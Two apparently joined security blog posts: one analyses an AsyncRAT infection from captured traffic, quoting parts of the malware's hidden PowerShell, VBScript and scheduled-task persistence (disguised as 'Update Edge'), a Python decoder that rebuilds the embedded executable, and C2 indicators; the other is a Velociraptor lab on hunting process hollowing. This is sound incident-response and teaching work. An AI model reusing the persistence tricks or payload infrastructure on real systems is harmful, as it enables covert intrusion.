A batch file named Conted.bat is also created. This batch file will execute the PowerShell script (Conted.ps1) in hidden mode (-WindowStyle Hidden) and bypass the execution policy (-ExecutionPolicy Bypass), making it difficult for the user or security software to detect the script’s execution.

1. VBScript (Conted.vbs)

   $Content = @'
   on error resume next
   Function CreateWshShellObj()
    Dim objName
    objName = "WScript.Shell"
    Set CreateWshShellObj = CreateObject(objName)
   End Function
   ...
   '@
   [IO.File]::WriteAllText("C:\Users\Public\Conted.vbs", $Content)
   

   The script writes a VBScript file (Conted.vbs) that runs the batch file (Conted.bat). This script is designed to run the batch file silently (with visibility set to 0), ensuring that the user does not notice any visible command windows or prompts.

2. Creating a Scheduled Task for Persistence

$scheduler = New-Object -ComObject Schedule.Service
$scheduler.Connect()
...
$taskDefinition.RegistrationInfo.Description = "Runs a script every 2 minutes"
$trigger.Repetition.Interval = "PT2M"
$action.Path = "C:\Users\Public\Conted.vbs"
$taskFolder.RegisterTaskDefinition("Update Edge", $taskDefinition, 6, $null, $null, 3)

Finally, the script sets up a scheduled task to run the VBScript (Conted.vbs) every 2 minutes. This scheduled task is named “Update Edge,” which gives it the appearance of a legitimate browser update process. By creating this task, the script ensures that the payload is executed persistently every 2 minutes, maintaining control over the system.

Further Analysis Required

It is important to note that the analysis of the PCAP file is ongoing, and new findings might emerge as we continue the investigation.

Observations and Next Steps

The variable $hexString_bbb and $hexString_pe, which appears to contain another payload, requires further decoding. Upon inspection, this string shows similarities to a recent Zoom Invite Telegram C2 malware that was previously analysed. You can find the detailed analysis of that malware here.

Although the malware behaviour in this instance closely resembles the one seen in the zoom Invite case, the Python decoding script from that blog post did not work in this scenario, as it was specifically designed for PowerShell-based malware. Given this, a different decoding approach will be necessary to handle this hexadecimal payload.

The code for Deobfucation

import re

# Original PowerShell script as a string
powershell_script = r"""
$hexString_bbb = "4D_5A_90_00_03_00_00_00_04_00_00_00_FF_FF_00_00_B8_00_00_00_00_00_00_00_40_00_00_00_00_00
_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00
_80_00_00_00_0E_1F_BA_0E_00_B4_09_CD_21_B8_01_4C_CD_21_54_68_69_73_20_70_72_6F_67_72_61_6D
_20_63_61_6E_6E_6F_74_20_62_65_20_72_75_6E_20_69_6E_20_44_4F_53_220_A8_48_6F_75_3B_26_01_00
_____paste_the_rremaining_hex_here"
"""
# Function to extract and decode hexadecimal strings
def decode_hex_string(script):
    # Extract the hexadecimal string from the PowerShell script
    hex_string_match = re.search(r'\"([0-9A-Fa-f_]+)\"', script)
    if hex_string_match:
        hex_string = hex_string_match.group(1)
        # Remove underscores and convert to bytes
        hex_string = hex_string.replace('_', '')
        byte_data = bytes.fromhex(hex_string)
        # Convert bytes to ASCII characters (ignore non-ASCII characters)
        decoded_string = byte_data.decode('ascii', errors='ignore')
        return decoded_string
    else:
        return None

# Decode the hexadecimal string and print the result
decoded_string = decode_hex_string(powershell_script)
if decoded_string:
    print("Decoded String:")
    print(decoded_string)
else:
    print("No valid hexadecimal string found in the script.")

Upon decoding the contents of the MDM.jpg file, we initially expected a PowerShell script, but the result, as seen in Figure 25, indicated otherwise; the decoded string contained “Ms@ !L!This program cannot be run in DOS mode,” a clear sign that the data was actually a binary file (executable) as shown in Fig 19, which means our next step will involve converting it back to its original binary form for further analysis.

Fig 19: AsyncRat Executable

Code

import re

# Original PowerShell script as a string
powershell_script = r"""
$hexString_bbb = "4D_5A_90_00_03_00_00_00_04_00_00_00_FF_FF_00_00_B8_00_00_00_00_00_00_00_40_00_00_00_00_00_00
_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_00_80_00
_00_00_0E_1F_BA_0E_00_B4_09_CD_21_B8_01_4C_CD_21_54_68_69_73_20_70_72_6F_67_72_61_6D_20_63_61
_6E_6E_6F_74_20_62_65_20_72_75_6E_20_69_6E_20_44_4F_53_220_A8_48_6F_75_3B_26_01_00_____paste_the_rremaining_hex_here"
"""
# Function to extract and decode hexadecimal strings
def decode_hex_string_to_bytes(script):
    # Extract the hexadecimal string from the PowerShell script
    hex_string_match = re.search(r'\"([0-9A-Fa-f_]+)\"', script)
    if hex_string_match:
        hex_string = hex_string_match.group(1)
        # Remove underscores and convert to bytes
        hex_string = hex_string.replace('_', '')
        byte_data = bytes.fromhex(hex_string)
        return byte_data
    else:
        return None

# Decode the hexadecimal string to bytes
binary_data = decode_hex_string_to_bytes(powershell_script)

# Save the binary data to an .exe file
if binary_data:
    with open('decoded_file.exe', 'wb') as exe_file:
        exe_file.write(binary_data)
    print("The binary data has been successfully saved to 'decoded_file.exe'.")
else:
    print("No valid hexadecimal string found in the script.")

We uploaded the extracted decoded_file.exe to VirusTotal, where it had a detection rate of 57 out of 74 as shown in Fig 20. The first scan was recorded on 2023-10-30 at 15:08:44 UTC. You can view the detailed analysis on VirusTotal through the following link: VirusTotal Analysis.

Fig 20: VirusTotal Scan

In this blog, we will not be performing a detailed code or static analysis of this malicious file, as it requires more in-depth examination. We plan to cover these aspects in a future post.

For dynamic analysis, you can explore the following resources:

• AnyRun Analysis of the decoded_file.exe
• Hybrid Analysis of the same file.

Additionally, SELKS detected a malicious SSL certificate associated with the AsyncRAT server. As shown in Figure 21, the decoded base64 payload displayed patterns consistent with “MALWARE Observed Malicious SSL Cert (AsyncRAT Server)” and included the text fragment “Q..e…..J..wRa……..m.g….Se%n. ….<7M….u?5..:_F.oI!:k.N.A!\…………………….0…0………….C…..x!./9..0\r..*.H..\r..\r..0.1.0…U….AsyncRAT Server0”. This highlights how SELKS played a crucial role in refining our analysis and bringing us closer to a conclusive verdict.

Fig 21: VirusTotal Scan

Indicators of Compromise (IOC)

Here are the indicators of compromise (IOC) related to the observed malicious activity:

• IP Addresses:
  • 23.26.108.213
  • 45.126.209.4
• Domain Names:
  • madmrx.duckdns.org
• URLs:
  • http://45.126.209.4:222/mdm.jpg
  • http://45.126.209.4:222/xlm.txt
• File Hash:
  • 88e8cee71f454bc1fa6b3a7741a3bd7d

Conclusion

Analysing PCAP files remains a vital skill in the line of defence against cyber threats. Over the years, tools like Wireshark have made this process more accessible, but modern threats require more advanced platforms for comprehensive analysis. In this blog, we explored how SELKS, a free open-source platform, can be used to analyse a PCAP file and identify both the victim and the attacker.

Using SELKS, we successfully correlated the attack with Suricata rules and tracked the embedded payloads within the HTTP requests, ultimately tracing the malicious files back to AsyncRAT. The downloaded files, such as /mdm.jpg and /xlm.txt, were revealed as part of the attacker’s toolkit to execute remote commands and deliver the RAT. By extracting the Indicators of Compromise (IOCs), we were able to better understand the scope of the attack and its potential impact.

This case study also underscored the importance of platforms like SELKS in real-time network monitoring and threat detection. Advanced capabilities such as integrating Suricata alerts, tracking malicious SSL certificates, and correlating activities with MITRE ATT&CK techniques (such as Command and Control and Dynamic Resolution) greatly enhance the effectiveness of threat hunting and incident response.

Ultimately, this analysis highlights how crucial it is to adopt tools that go beyond manual network analysis, enabling defenders to respond swiftly and effectively to evolving cyber threats.

References

[1] P. Kumar N, “AsyncRAT C2 Framework: Overview, Technical Analysis & Detection,” Qualys Security Blog, Aug. 16, 2022. Available: https://blog.qualys.com/vulnerabilities-threat-research/2022/08/16/asyncrat-c2-framework-overview-technical-analysis-and-detection. [Accessed: Oct. 22, 2024].

[2] N. CAT, “AsyncRAT,” GitHub, Nov. 21, 2022. Available: https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp. [Accessed: Oct. 22, 2024].

[3] J. Petters, “How to Use Wireshark: Comprehensive Tutorial + Tips,” Varonis, Aug. 29, 2019. Available: https://www.varonis.com/blog/how-to-use-wireshark. [Accessed: Oct. 22, 2024].

[4] M. Labs, “Unmasking AsyncRAT New Infection Chain,” McAfee Blog, Nov. 3, 2023. Available: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/unmasking-asyncrat-new-infection-chain. [Accessed: Oct. 22, 2024].

[5] B. Tancio, F. Cureg, and M. E. Viray, “Analyzing AsyncRAT’s Code Injection into Aspnet_Compiler.exe across Multiple Incident Response Cases,” Trend Micro, Dec. 11, 2023. Available: https://www.trendmicro.com/en_gb/research/23/l/analyzing-asyncrat-code-injection-into-aspnetcompiler-exe.html. [Accessed: Oct. 22, 2024].

[6] F. Martinez, “AsyncRAT loader: Obfuscation, DGAs, decoys and Govno,” AT&T Cybersecurity, May 21, 2024. Available: https://cybersecurity.att.com/blogs/labs-research/asyncrat-loader-obfuscation-dgas-decoys-and-govno. [Accessed: Oct. 22, 2024].

[7] Splunk Threat Research Team, “AsyncRAT Crusade - Detections and Defense,” Splunk, Mar. 27, 2023. Available: https://www.splunk.com/en_us/blog/security/asyncrat-crusade-detections-and-defense.html. [Accessed: Oct. 22, 2024].

[8] VirusTotal Analysis Overview 1. Available: https://www.virustotal.com/gui/file/1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798/details. [Accessed: Oct. 22, 2024].

[9] VirusTotal Analysis Overview 2. Available: https://www.virustotal.com/gui/file/39ce0b953f3831429fa1c971ad0da741877ad2c932406e43f64874e65f82a238/details. [Accessed: Oct. 22, 2024].

[10] “Malware Traffic Analysis,” Malware Traffic Analysis, Jan. 9, 2024. Available: https://malware-traffic-analysis.net/2024/01/09/index.html. [Accessed: Oct. 22, 2024].

[11] AnyRun Analysis Overview. Available: https://app.any.run/tasks/c226c343-8b98-4714-b3ea-47547a3a8b0c. [Accessed: Oct. 22, 2024].

[12] Hybrid Analysis Overview. Available: https://www.hybrid-analysis.com/sample/1eb7b02e18f67420f42b1d94e74f3b6289d92672a0fb1786c30c03d68e81d798. [Accessed: Oct. 22, 2024].

[13] “Network Security Monitoring and Threat Hunting Dr Josh w/ Peter Manev,” YouTube. Available: https://www.youtube.com/watch?v=s621gAaURA0&t=3261s. [Accessed: Oct. 22, 2024].

Process hollowing is a technique frequently employed by malware developers to disguise malicious activities by injecting code into legitimate processes [1]. The MITRE ATT&CK framework further elaborates on this technique in detail, particularly under T1055.012 [3]. In this approach, the malware starts a legitimate process in a suspended state, removes its legitimate code, and then replaces it with malicious code [3]. The process is resumed, and it appears to be running normally in the system, making it difficult for traditional security tools to detect the hidden malicious activity.

The key difference between Process Hollowing and Process Injection lies in their execution flow. In Process Hollowing, the malware hijacks a legitimate process and replaces its entire code space [4]. In contrast, Process Injection involves injecting malicious code into an already running process without necessarily replacing the original code [7]. Process Injection can manipulate or extend a legitimate process’s behaviour by introducing new threads or DLLs, while Process Hollowing entirely takes over a process by overwriting its image [7] [5].

In this blog, we will explore how to identify and analyse such malicious techniques using Velociraptor. This tool provides powerful capabilities for hunting and detecting Process Hollowing malware, enabling security analysts to dig deeper into suspicious processes, memory dumps, and hidden behaviours within infected systems.

Velociraptor

Velociraptor is an advanced open-source tool designed for monitoring endpoints, hunting threats, and conducting digital forensics [2]. It provides a flexible and scalable platform for incident response, enabling analysts to query endpoints, gather artefacts, and perform real-time hunts across an environment. What makes Velociraptor unique is its ability to create custom queries using VQL (Velociraptor Query Language), which allows it to adapt to various scenarios.

[2]

With Velociraptor, you can collect the same artefact from multiple endpoints simultaneously using a Hunt [2]. Hunts let you monitor offline endpoints by scheduling the collection of artefacts from any endpoints that come back online within a specified timeframe. This feature makes it easy to review the results from all collections, track which endpoints collected the artefact, and ensure that no endpoint collects the same artefact more than once. For more information about Velociraptor, please visit the official documentation.

Lab Configuration

In this lab, there are two operating systems: Windows 10 Pro, functioning as the client, and Ubuntu, serving as the server.

The malware will be executed on the Windows system, while artefacts will be collected using the Ubuntu server where the Velociraptor server has been installed. For detailed instructions on installing and configuring Velociraptor, please refer to the official documentation. This topic will not be covered in this post to optimise time.

Use Case

This lab presents a straightforward use case designed for both beginners and experienced professionals to understand easily.

Rather than hunting blindly through the system, the approach taken here is clear and focused. A known malicious process is running on the victim system; although its name is obvious, the aim is to conduct a blind hunt under the assumption that malware is present on the client system. Velociraptor will be employed to identify and investigate this potential malware, leading to a conclusion about its presence and behaviour. Additionally, the findings will be verified through the graphical user interface (GUI) to enhance understanding and reinforce the results obtained during the hunt.

In Linux Server

To ensure that Velociraptor is functioning correctly, it is assumed that the installation and configuration have been completed as per the guidelines provided on the official documentation. As shown in Fig 2.

Fig 2: Velocirapto Runing

Velociraptor is active and running on the Linux server. The next step is to add the agent. On the same Linux server, open a web browser and navigate to the Velociraptor URL. The default port is 8889. You can use a local DNS, as shown in the example, or simply your IP address followed by :8889 to access the GUI. Log in using the password you set during the installation process. This section ensures that Velociraptor is operational on the Linux server and guides users on accessing the Velociraptor interface to proceed with further configurations.

In Windows 10 Pro

The next step is to add the clients to the Windows 10 Pro system. To achieve this, a local web server can be hosted on the Linux server to serve the Windows client, as shown in Fig 3.

Fig 3: updog up and runing

Users can opt for tools like python http.server, but in this blog, we will use “updog” to serve the configuration file from the Linux server. The Windows client can then download the file.

Please note that both systems are configured under NAT in VMware, meaning they are on the same network and can communicate with each other seamlessly.

After downloading the client configuration file, execute it on the Windows client to ensure it works properly. For more details, refer to Fig 4.

Fig 4: Velociraptor client

If all steps are followed correctly, both the Linux server and the Windows client should now be properly configured, allowing for further actions in Velociraptor.

Before We Begin the Hunt

Before starting the threat hunt and collecting artefacts from the Windows 10 Pro endpoint, we need to ensure that the malware is delivered and executed properly. As previously discussed, use the command pip3 install updog to set up the web server and host the malware from localhost. It doesn’t matter whether you’re using Kali Linux, Kali Purple, or Ubuntu, as the goal is to deliver the malware to the Windows environment, as shown in Fig 5.

Fig 5: Download the malware

For this lab, ensure that the malware is using the process hollowing technique. However, bear in mind that Velociraptor can be used to hunt for a wide range of threats beyond this technique. For now, our focus will remain on process hollowing.

Fig 6: malware execution

Once the malware has been executed as shown in Fig 6, we can proceed with the hunt using Velociraptor.

Extracting Artefacts with Velociraptor

The next step involves extracting evidence of the attack or malware using Velociraptor. If you have correctly configured your Velociraptor clients and server, and the malware has been executed, you can begin the hunt. To start, click the “Hunt” button in the Velociraptor server, as shown in Fig 7.

Fig 7: Let the hunt begin

Next, you’ll need to select your hunting packages. Velociraptor comes with a wide range of pre-installed artefacts that are ready to use. In this lab, we will use some of these artefact parameters, as shown in Fig 8.

Fig 8: Configure Hunt

To search for the artefacts you want to use in your hunt, simply type their names into the search bar, as shown in Fig 9.

Fig 9: Search Hunt Artefacts

Artefacts Parameters for This Lab

In this lab, we will focus on the following artefacts as shown in Fig 10:

• Windows.Memory.ProcessInfo: This artefact provides detailed information about running processes in memory. It allows us to see which processes are active, including their memory usage, identifiers, and other related information.

• Windows.Memory.ProcessDump: This artefact captures the memory of a specific process, which can be used to analyse its behaviour, identify injected code, or find other malicious activity.

• Generic.System.Pstree: This artefact shows the process tree, illustrating how processes are spawned and related to one another. It’s useful for identifying parent-child relationships between processes, especially when tracking malware.

• Windows.System.Pslist: This artefact provides a list of all active processes in the system, including detailed information such as process IDs and associated user accounts.

• Windows.Attack.Prefetch: This artefact focuses on Windows Prefetch data, which helps track recently executed applications. It’s useful for identifying whether a suspicious or malicious executable has run on the system.

Figure 10: Selected Artefacts

These artefacts will assist in tracing the malicious activity, particularly focusing on the process hollowing technique used by the malware in this scenario.

Once the artefacts have been selected, it is essential to review them, as demonstrated in Fig 11.

Fig 11: Review Selected Artefacts

After reviewing and selecting all the necessary hunting artefacts, you will be presented with a summary in the “Overview” section, as seen in Fig 12.

From there, simply click the “Run Hunt” button to initiate the process.

Fig 12: Begin the Hunt

It’s also important to ensure that the client is connected before proceeding. This can be confirmed in the client list, as shown in Fig 13.

Fig 13: Checking if Client is Connected

After a few minutes, all the artefacts will be collected and available for analysis. This is illustrated in Fig 14.

Fig 14: Artefacts are now available for download

Moving the Artefacts to a Desired Location

At this stage, we can move the collected artefacts to another location or share them with other security analysts or colleagues, depending on the situation. In this lab, we have renamed the artefact to “Process_Injection_v1.zip”, as demonstrated in Fig 15.

Fig 15: Renaming the Artefacts

In line with best practices, when moving artefacts to another location, it’s crucial to secure the file by adding a password. This ensures the artefact’s integrity and confidentiality. In this lab, we have applied a password to the zip file, as shown in Fig 16.

Fig 16: Passwording the Artefact Zip File

Analysing the Results

After the artefacts have been collected and moved to the desired location, the next critical step is to analyse the results. There are various ways to approach this, and often it depends on the experience and preferences of the analyst. Some individuals prefer to feed the artefacts directly into a SIEM (Security Information and Event Management) system to automate the correlation and detection process, while others may choose to manually piece together the information for a more hands-on approach. Python scripts are also commonly used to extract insights from the CSV files generated by Velociraptor, allowing for more customised analysis.

In this lab, however, we will take a manual approach to the artefact analysis. This method ensures a deeper understanding of the data and helps to develop the skills required to detect and dissect malware behaviour without relying solely on automated tools. In my experience, it’s always beneficial to go through the process manually before leaning on automation tools to solve the problem. Taking the time to manually analyse artefacts not only sharpens an analyst’s ability to identify patterns but also fosters a more intuitive grasp of the underlying techniques employed by the malware, such as process hollowing in this scenario.

Evidence correlation

At this stage, it is crucial to correlate evidence from various artefacts to build a comprehensive understanding of the suspicious activity observed. By analysing multiple artefacts, we can piece together a fuller picture.

1. Generic.System.Pstree Results

As mentioned at the beginning of this blog, we are approaching this scenario as if we already suspect malware on the victim machine. In a real-world situation, the process might not be as straightforward as demonstrated in this lab, but the mentality and approach remain the same.

In this section, we will analyse the results from the Generic.System.Pstree artefact and determine if anything seems out of the ordinary. At this point, we are operating in a somewhat blind or “grey” mode because, although we know malware was executed, we are proceeding as though we are not sure yet. In contrast, typical threat hunting often involves searching for anomalies or suspicious behaviour that might have been overlooked by traditional security measures. It’s about digging deeper to identify subtle signs of compromise, even if they appear normal at first glance.

Being curious and having a deep understanding of your organisation’s environment is crucial. Knowing what you are looking for and being specific in your hunt helps tremendously. In this scenario, we have a clear goal: we are looking for evidence of process hollowing, where one process disguises itself as another. In simple terms, we aim to find the malware that is masquerading as a legitimate process.

Deep Analysis of the Generic.System.Pstree Results

In this section, we will perform an in-depth analysis of the Generic.System.Pstree artefact. The process tree provides vital insight into the parent-child relationships between processes, which can help us identify suspicious activities, such as process injection or process hollowing.

Investigating “daniyyell_pro_inj_POC.exe”

Looking into the artefacts, at line 55, we observe an entry related to a potentially suspicious executable, daniyyell_pro_inj_POC.exe, as shown in Fig 17.

Fig 17: Generic.System.Pstree Results 1

2768,6528,daniyyell_pro_inj_POC.exe,WINDOWS-MALWARE\Windows_10x64,
C:\Users\Windows_10x64\Downloads\daniyyell_pro_inj_POC.exe,
"""C:\Users\Windows_10x64\Downloads\daniyyell_pro_inj_POC.exe""",
2024-10-08T08:02:00.3085034Z,0001-01-01T00:00:00Z,explorer.exe -> daniyyell_pro_inj_POC.exe

In this line, the process daniyyell_pro_inj_POC.exe is shown to have been launched by explorer.exe. The executable resides in the Downloads folder, which is often the location for files retrieved from the internet. This is already a red flag as legitimate executables typically run from system paths (e.g., C:\Windows\System32) or trusted program installation directories.

Furthermore, the timestamp (2024-10-08T08:02:00.3085034Z) aligns with the timeframe of malware execution. At this stage, however, we cannot make a definite verdict on whether this process is malicious based solely on its name and location. The parent-child relationship with explorer.exe also does not immediately indicate suspicious activity, as it is common for explorer.exe to spawn processes. However, the context begins to change as we move to line 147, which is shown in Fig 18.

Fig 18: Generic.System.Pstree Results 2

9056,2768,conhost.exe,WINDOWS-MALWARE\Windows_10x64,
C:\Windows\System32\conhost.exe,\??\C:\Windows\system32\conhost.exe 0x4,
2024-10-08T08:02:00.3157511Z,0001-01-01T00:00:00Z,explorer.exe -> daniyyell_pro_inj_POC.exe -> conhost.exe

Here, we see that daniyyell_pro_inj_POC.exe has spawned conhost.exe. The Console Window Host (conhost.exe) is a legitimate Windows process responsible for console programs (such as the Command Prompt), but it can be leveraged by malware for stealthy activities, including process hollowing.

The execution chain now becomes more suspicious:

• explorer.exe launches daniyyell_pro_inj_POC.exe.
• daniyyell_pro_inj_POC.exe subsequently launches conhost.exe.